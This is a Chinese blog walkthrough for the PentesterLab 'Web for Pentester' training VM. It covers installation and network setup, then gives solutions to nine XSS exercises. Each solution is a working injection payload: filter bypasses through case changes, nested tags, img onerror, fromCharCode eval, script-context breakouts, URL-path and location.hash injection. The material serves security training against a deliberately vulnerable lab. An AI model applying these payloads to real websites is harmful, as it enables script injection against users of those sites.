【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。

下载链接及文档说明:
http://pentesterlab.com/exercises/web_for_pentester/
【安装流程】
1. 虚拟机中挂载镜像。 下载好ios镜像之后,在虚拟机中创建新系统。

一路向下,创建虚拟系统。
点击启动,选择iso镜像,即可启动。

2. 设置网络。 关掉刚刚开启的系统。
点击设置,选择网络选项。如图所示设置网络


3.启动系统。输入ifconfig

可以看到我们虚拟机的IP地址为http://192.168.56.101/ 不同的系统可能不一样
如果想让主机访问虚拟机,必须让主机和虚拟机在同一网段的范围内。
所以在主机上打开网络和共享中心,设置IP

根据我的虚拟机IP,我给本机设置的IP如下:

4.在主机浏览器输入虚拟机IP,我这儿是http://192.168.56.101/ ,即可通过HTTP访问虚拟机了!!
【XSS部分解析】
xss example1:
完全没有过滤或者编码,各种姿势的玩~
name=<script>alert('bb')</script>
xss example2:

从这里可以看到,过滤掉了<script>标签,我们试试大小写?
name=<Script>alert('bb')</sCript>
嗯,大小写绕过了
xss example3:
和上一张图一样,<script>标签被过滤掉了
先试试 name=la<script>la,输出hello,lala
name=<scri<script>pt>alert('bb')</scri</script>pt>
经测试这个在实例2也是可以用的
xss example4:
先输入最基本的测试name=<script>alert('bb')</script>
竟然输出error了!
换个标签? name=<img>?这次没error。补全补全~
name=<img src="1" onerror="alert('bb')">
成功了~~经测试这个payload在前三个应该也是可以的
xss example5:
先输入name=<img>正常显示
补全name=<img src="1" onerror="alert('bb')"> 输出error
发现alert被过滤掉了- -但是其他的函数还可以用,
比如说name=<img src="1" onerror="confirm('aa')">
查了一下文档,发现可以这样写
name=<img src="1" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">
这个世界真神奇
xss example6:
查看元素,发现输出竟然在script标签中。
$a="<img src="1" onerror="alert('bb')">"
输出在script标签中的情况要首先闭合双引号"
name=fdf";alert($a);//
xss example7:
审查元素:
<script>
var $a= 'fdf";alert($a);//';
</script>
发现双引号被HTMLEncode了
- -还发现$a=''这个地方变成了单引号。。。稍微改一下
name=fdf';alert($a);//
成了
xss example8:
呦,终于长进了,变成存储型的了~
随便输出个名字<script>alert('a')</script>
审查元素
HELLO <script>alert('a')</script>
<>被HTMLEncode了。
对于输出在HTML中的内容,这样的过滤已经是足够了。那么漏洞在哪儿呢?
经过答案的提醒- -我们发现form表的目标URL是可以被构造的
http://192.168.56.101/xss/example8.php/%22%20onsubmit=%22alert('1')
在提交的时候,会触发弹窗
xss example9:
- -最后一个你是在逗我么
审查元素
<script>
document.write(location.hash.substring(1));
</script>
随便改改就好了。。http://192.168.56.101/xss/example9.php#<script>alert('1')</script>
注:官方答案地址:http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf
【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析的更多相关文章
- 【web安全】第二弹:XSS攻防中的复合编码问题
最近一直在研究XSS的攻防,特别是dom xss,问题慢慢的迁移到浏览器编码解码顺序上去. 今儿被人放鸽子,无奈在KFC看了两个小时的资料,突然有种豁然开朗的感觉. 参考资料先贴出来: 1. http ...
- Java Web高性能开发(三)
今日要闻: Clarifai:可识别视频中物体 最近几年,得益于深度学习技术的发展,谷歌和Facebook等企业的研究人员在图形识别软件领域取得了重大突破.现在,一家名为Clarifai的创业公司则提 ...
- 应用AXIS开始Web服务之旅(soap web services)——使用三种不同的语言访问创建的Web服务,分别是JAVA、VB、VC
一. 介绍 本文并不是想介绍Web服务的原理.系统架构等,我们假设您已经了解了关于Web服务的一些基本的概念.原理等知识.本文主要是针对那些已经了解Web服务概念,但是还没有亲身体会Web服务所带来令 ...
- 转-Web Service中三种发送接受协议SOAP、http get、http post
原文链接:web服务中三种发送接受协议SOAP/HTTP GET/HTTP POST 一.web服务中三种发送接受协议SOAP/HTTP GET/HTTP POST 在web服务中,有三种可供选择的发 ...
- Web Service进阶(三)HTTP-GET, HTTP-POST and SOAP的比较
XML Web Service支持三种协议来与用户交流数据.这三种协议分别是: 1.SOAP:Simple Object Access Protocol 2.HTTP-GET 3.HTTP-POST ...
- 使用Micrisoft.net设计方案 第三章Web表示模式
第三章Web表示模式 体系结构设计者在设计第一个作品时比较精简和干练.在第一次设计时,并清除自己做什么,因此比较小心谨慎.第二个作品是最危险的一个作品,此时他会对第一个作品做修饰和润色,以及把第一次设 ...
- ASP.NET MVC Web API 学习笔记---第一个Web API程序---近来很多大型的平台都公开了Web API
1. Web API简单说明 近来很多大型的平台都公开了Web API.比如百度地图 Web API,做过地图相关的人都熟悉.公开服务这种方式可以使它易于与各种各样的设备和客户端平台集成功能,以及通过 ...
- [转]ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)
本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...
- ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)
在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...
随机推荐
- java 5 ReadWriteLock
import java.util.ArrayList; import java.util.List; import java.util.concurrent.locks.ReadWriteLock; ...
- 20个Linux系统监视工具
需要监视Linux服务器的性能?试试这些内置的命令和一些附加的工具吧.大多数Linux发行版都集成了一些监视工具.这些工具可以获取有关系统活动的信息的详细指标.通过这些工具,你可以发现产生系统性能问题 ...
- java 四种逻辑运算符
在java的逻辑运算符中,有这么四类&&(短路与).&(与).||(短路或).|(非短路或) &&和&都表示与,&&表示第一个条件为fa ...
- springmvc 双亲上下文导致的 No mapping found for HTTP request
今天搭建spring mvc ,结果发出请求总是No mapping found for HTTP request with URI [******] 于是开始排查了半天,后来在网上搜到了双亲上下文的 ...
- sql快速生成大量数据
先插入一条数据 insert into table(a,b,c,d) values(1,2,3,4) 然后重复执行以下sql语句 没执行一次 数据就会倍增 insert into table(a,b, ...
- 九度 1371 最小的K个数
题目描述:输入n个整数,找出其中最小的K个数.例如输入4,5,1,6,2,7,3,8这8个数字,则最小的4个数字是1,2,3,4,. 输入: 每个测试案例包括2行:第一行为2个整数n,k(1<= ...
- 【亲测可用】MySQL 4.1迁移到MySQL 5.0版本的中文乱码问题解决
核心:先导出结构,再导出数据. 结构最好使用myphpadmin导出.使用mysqldump导出的可能会导致一些问题. ---------------以下为转载---------------- 在生成 ...
- Unity3D 之3D游戏SD快打 3D游戏基础入门开发全(1)
这里记录一个U3D游戏,3D游戏的基本开发. 导入素材 1.首先导入需要的素材.因为FBX格式的素材是通用的,所以尽量导入这样的资源使用 导入后的结果: 然后对人形骨骼进行设置. 看哪里没有映射到骨骼 ...
- MVC小系列(十七)【自定义验证规则给下拉框】
因为下拉框不支持验证,所以写一个attribute特性,让它继承ValidationAttributemvc的特性验证,很直接,无论是数据安全特性上还是页面表现上都不错,它的运行机制: 前台表单验证规 ...
- 关于ligerui 中 grid 表格的扩展搜索功能在远程数据加载时无法使用的解决办法
要想使用grid里的扩展搜索功能,除了要引用ligerui主要的js文件外,还必须引入下面的JS文件: 1.Source\demos\filter\ligerGrid.showFilter.js 2. ...